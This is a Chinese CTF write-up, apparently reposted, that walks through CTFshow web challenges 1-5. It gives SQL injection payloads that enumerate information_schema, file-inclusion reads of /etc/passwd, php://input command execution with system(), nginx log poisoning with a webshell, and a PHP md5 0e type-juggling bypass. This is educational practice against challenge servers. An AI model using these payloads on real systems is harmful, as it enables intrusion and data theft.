CTFshow [web1-5]
Posted 热绪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow [web1-5]相关的知识,希望对你有一定的参考价值。
web1
base64解码,末尾加=
web2
sql注入题型
使用万能密码:
username=1'or'1'='1&password=1'or'1'='1
没什么用,我们查询字段。
username=1&password=1'union select 1,2,3,4#
没回显,我们使用:
username=1&password=1'union select 1,2,3#
我们由此知道回显是2,好办了,我们进行查数据库。
username=1&password=1'union select 1,database(),3#
知道数据库是web2;
我们查表名:
username=admin&password=123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#
两个表,flag,user,我们查flag表中字段名;
username=admin&password=123' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
我们查字段:
username=admin&password=123' union select 1,flag,3 from flag#
得到flag。
web3
打开题目我们发现下图,看起来像是文件包含,url是参数。
我们试试伪协议:
http://67a60ab5-5ad4-4e2f-834e-a6ace7f2bad2.challenge.ctf.show:8080/?url=file:///etc/passwd
出结果了,可以看出本题是php伪协议+文件包含+命令执行的题目。
我们输入
http://67a60ab5-5ad4-4e2f-834e-a6ace7f2bad2.challenge.ctf.show:8080/?url=php://input
并且在burp里面抓包,发送到repeater模块,在下方输入
<?php system("ls"); ?>
点击Go
发现了两个文件index.php 和 ctf_go_go_go
输入
<?php system("cat ctf_go_go_go"); ?>
得到flag。
我们学到了 php://input + BurpSuite 提交命令的方法。
web4
和web3几乎一样,但是我尝试了各种方法还是不行,于是查看资料发现使用日志注入,我们试试。
输入下式查看日志:
http://f0b148b0-530f-4e8b-9550-4d30491efc21.challenge.ctf.show:8080/?url=/var/log/nginx/access.log
日志如下:
可以看到是可以看到日志的,我们抓包。
我们在参数中输入一句话木马,让其记入日志当中。
点击Go
然后使用蚂蚁连接:http://14c96038-fde5-4947-8019-73aca0aa1620.challenge.ctf.show:8080/?url=/var/log/nginx/access.log 密码:key
拿到flag。
可以发现:使用web3的文件包含不可取,使用日志注入,然后使用webshell工具连接拿到shell。
web5
代码审计题型。
where is flag?
<?php
error_reporting(0);
//关闭错误报告
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
//如果v1和v2都不为空
if(!ctype_alpha($v1)){
//这里判断v1是否全是字符,若不是则输出v1 error
die("v1 error");
}
if(!is_numeric($v2)){
//这里判断v2是否全是英文,若不是则输出v2 error
die("v2 error");
}
if(md5($v1)==md5($v2)){
//v1和v2的md5值需要相等。
echo $flag;
}
}else{
echo "where is flag?";
}
?>
</body>
</html>
代码审计完成,我们发现需要同时提交两个get型的参数,v1和v2,且v1全是字符,v2全是数字,而且v1和v2的md5值还要相等。
这里我们知道;md5碰撞,只要是0e开头的MD5,默认是相等的。
payload:
http://1459d600-834d-4651-8210-aa6985ec50e7.challenge.ctf.show:8080/?v1=QNKCDZO&v2=240610708
得到flag。
以上是关于CTFshow [web1-5]的主要内容,如果未能解决你的问题,请参考以下文章
ctfshow-WEB-web12( 利用代码执行漏洞读取敏感文件)